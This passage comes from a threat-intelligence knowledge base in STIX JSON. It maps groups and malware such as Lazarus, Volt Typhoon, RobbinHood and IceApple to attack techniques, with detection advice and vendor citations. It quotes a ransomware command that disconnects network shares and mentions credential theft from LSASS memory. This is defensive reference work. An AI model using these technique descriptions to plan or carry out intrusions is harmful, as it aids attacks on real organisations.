"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--5687f6c6-f749-456e-a7fe-179017d50e9b", "created": "2023-03-17T14:05:09.788Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "McAfee Lazarus Nov 2020", "description": "Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021.", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/"}, {"source_name": "McAfee Lazarus Jul 2020", "description": "Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.", "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-a-job-offer-thats-too-good-to-be-true/?hilite=%27Operation%27%2C%27North%27%2C%27Star%27"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-21T17:17:50.336Z", "description": "During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) used [Torisma](https://attack.mitre.org/software/S0678) to actively monitor for new drives and remote desktop connections on an infected system.(Citation: McAfee Lazarus Jul 2020)(Citation: McAfee Lazarus Nov 2020)", "relationship_type": "uses", "source_ref": "campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b", "target_ref": "malware--0715560d-4299-4e84-9e20-6e80ab57e4f2", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--56889f30-eb6c-4286-b25a-39d35f93a1c0", "created": "2023-07-31T19:39:47.808Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Microsoft Volt Typhoon May 2023", "description": "Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-04T08:49:18.213Z", "description": "[Volt Typhoon](https://attack.mitre.org/groups/G1017) has run system checks to determine if they were operating in a virtualized environment.(Citation: Microsoft Volt Typhoon May 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2", "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--568964d5-6205-4d46-9d14-2914ba349afd", "created": "2024-03-12T19:56:03.055Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Cutting Edge Part 3 February 2024", "description": "Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-13T20:31:57.260Z", "description": "During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors used the Unix socket and a reverse TCP shell for C2 communications.(Citation: Mandiant Cutting Edge Part 3 February 2024)", "relationship_type": "uses", "source_ref": "campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--568e3a13-be72-4e1b-8bf0-bdfc6fa3dc2b", "created": "2022-03-30T14:26:51.870Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ACSC Email Spoofing", "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.", "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"}, {"source_name": "Microsoft Anti Spoofing", "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"}, {"source_name": "Mandiant URL Obfuscation 2023", "description": "Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved August 4, 2023.", "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-04T13:01:20.602Z", "description": "Monitor for third-party application logging, messaging, and/or other artifacts that may send spearphishing emails with a malicious link in an attempt to gain access to victim systems. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) URL inspection within email (including expanding shortened links and identifying obfuscated URLs) can help detect links leading to known malicious sites.(Citation: Mandiant URL Obfuscation 2023) Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nFurthermore, monitor browser logs for homographs in ASCII and in internationalized domain names abusing different character sets (e.g. Cyrillic vs Latin versions of trusted sites).", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5697b245-d888-40ab-af72-9236c6daa273", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT30", "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"}], "modified": "2020-03-17T00:19:38.028Z", "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) uses HTTP as a transport to communicate with its command server.(Citation: FireEye APT30)", "relationship_type": "uses", "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--569815f7-4a3f-47f3-8903-0b0b2d409c3c", "type": "relationship", "created": "2020-09-23T15:18:36.581Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Dukes October 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", "description": "Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}], "modified": "2020-10-09T16:07:59.438Z", "description": "[MiniDuke](https://attack.mitre.org/software/S0051) can use control flow flattening to obscure code.(Citation: ESET Dukes October 2019)", "relationship_type": "uses", "source_ref": "malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--56996982-a954-44d6-9d99-c23d4babccc1", "type": "relationship", "created": "2022-02-09T14:13:51.991Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Kimsuky Nov 2021", "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html", "description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}], "modified": "2022-02-09T14:13:51.991Z", "description": "(Citation: Talos Kimsuky Nov 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--56a866fd-1a37-4750-89e6-2e26ed69cb27", "type": "relationship", "created": "2019-01-29T20:17:49.304Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/", "source_name": "Unit 42 Tropic Trooper Nov 2016"}], "modified": "2019-06-30T22:44:28.309Z", "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) delivered malicious documents with the XLSX extension, typically used by OpenXML documents, but the file itself was actually an OLE (XLS) document.(Citation: Unit 42 Tropic Trooper Nov 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--56aab689-f68d-4a38-a814-d9a54d04093d", "created": "2024-03-13T21:19:16.960Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Seguran\u00e7a Inform\u00e1tica URSA Sophisticated Loader 2020", "description": "Pedro Tavares (Seguran\u00e7a Inform\u00e1tica). (2020, September 15). Threat analysis: The emergent URSA trojan impacts many countries using a sophisticated loader. Retrieved March 13, 2024.", "url": "https://seguranca-informatica.pt/threat-analysis-the-emergent-ursa-trojan-impacts-many-countries-using-a-sophisticated-loader/"}, {"source_name": "SCILabs Malteiro 2021", "description": "SCILabs. (2021, December 23). Cyber Threat Profile Malteiro. Retrieved March 13, 2024.", "url": "https://blog.scilabs.mx/en/cyber-threat-profile-malteiro/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-18T14:46:31.346Z", "description": "[Mispadu](https://attack.mitre.org/software/S1122) has used a variety of Windows API calls, including ShellExecute and WriteProcessMemory.(Citation: Seguran\u00e7a Inform\u00e1tica URSA Sophisticated Loader 2020)(Citation: SCILabs Malteiro 2021)", "relationship_type": "uses", "source_ref": "malware--4e6464d2-69df-4e56-8d4c-1973f84d7b80", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--56ad8893-2933-4b3b-a84d-026d9afb7dcb", "type": "relationship", "created": "2020-03-20T19:12:22.367Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Turla PowerShell May 2019", "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."}, {"description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. 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(2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020."}], "modified": "2020-06-25T13:59:09.936Z", "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) has used Mimikatz to retrieve credentials from LSASS memory.(Citation: RedCanary Mockingbird May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee", "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--56b47ce2-9baa-421b-9187-c780615b97de", "created": "2019-09-24T12:42:37.500Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT41 Aug 2019", "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. 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CB TAU Threat Intelligence Notification: RobbinHood Ransomware Stops 181 Windows Services Before Encryption. Retrieved July 29, 2019.", "url": "https://www.carbonblack.com/2019/05/17/cb-tau-threat-intelligence-notification-robbinhood-ransomware-stops-181-windows-services-before-encryption/", "source_name": "CarbonBlack RobbinHood May 2019"}], "modified": "2019-07-29T15:46:15.050Z", "description": "[RobbinHood](https://attack.mitre.org/software/S0400) disconnects all network shares from the computer with the command <code>net use * /DELETE /Y</code>.(Citation: CarbonBlack RobbinHood May 2019)", "relationship_type": "uses", "source_ref": "malware--0a607c53-df52-45da-a75d-0e53df4dad5f", "target_ref": "attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--56b6c694-6d04-4799-9a34-b4c66f25b30e", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Lazarus RATANKBA", "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"}, {"source_name": "RATANKBA", "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"}], "modified": "2020-09-02T18:46:33.376Z", "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses HTTP/HTTPS for command and control communication.(Citation: Lazarus RATANKBA)(Citation: RATANKBA)", "relationship_type": "uses", "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--56b8f3d1-c08e-42a1-8d14-b961391eaaa7", "type": "relationship", "created": "2021-07-02T15:51:31.189Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender Naikon April 2021", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf", "description": "Vrabie, V. (2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}], "modified": "2021-07-02T15:51:31.189Z", "description": "[RainyDay](https://attack.mitre.org/software/S0629) can create and register a service for execution.(Citation: Bitdefender Naikon April 2021)", "relationship_type": "uses", "source_ref": "malware--29231689-5837-4a7a-aafc-1b65b3f50cc7", "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--56c41e3f-3d8f-4f36-9885-955952e700db", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Orangeworm April 2018", "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"}], "modified": "2018-10-17T00:14:20.652Z", "description": "[Kwampirs](https://attack.mitre.org/software/S0236) creates a new service named WmiApSrvEx to establish persistence.(Citation: Symantec Orangeworm April 2018)", "relationship_type": "uses", "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--56c927c5-f64e-4b31-9a14-7ce78fd1c8a1", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", "source_name": "Symantec Buckeye"}], "modified": "2019-04-29T18:01:20.570Z", "description": "[APT3](https://attack.mitre.org/groups/G0022) obfuscates files or information to help evade defensive measures.(Citation: Symantec Buckeye)", "relationship_type": "uses", "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--56cf4996-1a39-483f-b32a-94874228ec06", "created": "2022-03-30T14:26:51.870Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ACSC Email Spoofing", "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020.", "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf"}, {"source_name": "Microsoft Anti Spoofing", "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.", "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"}, {"source_name": "Mandiant URL Obfuscation 2023", "description": "Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved August 4, 2023.", "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-04T12:59:17.547Z", "description": "Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Monitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links and identifying obfuscated URLs) can also help detect links leading to known malicious sites.(Citation: Mandiant URL Obfuscation 2023)\n\nFurthermore, monitor browser logs for homographs in ASCII and in internationalized domain names abusing different character sets (e.g. Cyrillic vs Latin versions of trusted sites).", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", "target_ref": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--56d023cf-4390-40d9-afc6-cb0d40b4cdd1", "type": "relationship", "created": "2017-05-31T21:33:27.040Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf", "description": "Anthe, C. et al. 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Retrieved December 23, 2015.", "source_name": "Microsoft SIR Vol 19"}], "modified": "2019-12-20T14:26:00.564Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) uses a module to receive a notification every time a USB mass storage device is inserted into a victim.(Citation: Microsoft SIR Vol 19)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--56d37b60-03e0-4aac-b106-0350c2a4ec46", "type": "relationship", "created": "2021-05-03T19:55:04.095Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky Kittens Back 3 August 2020", "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf", "description": "ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021."}], "modified": "2021-06-02T16:31:56.168Z", "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has attempted to lure victims into opening malicious email attachments.(Citation: ClearSky Kittens Back 3 August 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--56d55fa0-fbb3-4630-b33b-342c0fa146e7", "type": "relationship", "created": "2022-03-30T14:26:51.854Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.854Z", "description": "Monitor command-line execution of the <code>launchctl</code> command immediately followed by abnormal network connections.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--56d858ef-2d62-4aa9-b050-699de9b048e9", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Scarlet Mimic Jan 2016", "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"}], "modified": "2018-10-17T00:14:20.652Z", "description": "[MobileOrder](https://attack.mitre.org/software/S0079) has a command to download a file from the C2 server to the victim mobile device's SD card.(Citation: Scarlet Mimic Jan 2016)", "relationship_type": "uses", "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--56d8c364-ef22-485c-961f-e3c9782cc6df", "type": "relationship", "created": "2021-05-06T14:54:26.292Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point APT34 April 2021", "url": "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/", "description": "Check Point. (2021, April 8). Iran\u2019s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}], "modified": "2021-05-06T14:54:26.292Z", "description": "[SideTwist](https://attack.mitre.org/software/S0610) can execute shell commands on a compromised host.(Citation: Check Point APT34 April 2021)", "relationship_type": "uses", "source_ref": "malware--df4cd566-ff2f-4d08-976d-8c86e95782de", "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--56e0b679-1c1b-4c82-9346-bde619c21117", "type": "relationship", "created": "2021-02-22T19:40:23.480Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Waterbear December 2019", "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html", "description": "Su, V. et al. (2019, December 11). Waterbear Returns, Uses API Hooking to Evade Security. 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Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Saint Bot](https://attack.mitre.org/software/S1018) has used the command `timeout 20` to pause the execution of its initial loader.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )", "modified": "2022-06-09T19:00:55.512Z", "relationship_type": "uses", "source_ref": "malware--7724581b-06ff-4d2b-b77c-80dc8d53070b", "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--56f490de-51e8-47c4-9eae-ecdd1a55e6ef", "type": "relationship", "created": "2019-06-24T13:38:13.125Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/", "description": "Cowan, C. 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Retrieved March 25, 2022."}], "modified": "2022-03-25T15:24:08.713Z", "description": "[BlackTech](https://attack.mitre.org/groups/G0098) has used built-in API functions.(Citation: IronNet BlackTech Oct 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--56faef01-6a5b-41a7-a7fe-888860750abe", "created": "2022-06-27T15:28:36.158Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "CrowdStrike IceApple May 2022", "url": "https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf", "description": "CrowdStrike. (2022, May). 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Retrieved June 27, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[IceApple](https://attack.mitre.org/software/S1022) can harvest credentials from local and remote host registries.(Citation: CrowdStrike IceApple May 2022)", "modified": "2022-06-27T15:28:36.158Z", "relationship_type": "uses", "source_ref": "malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1", "target_ref": "attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", 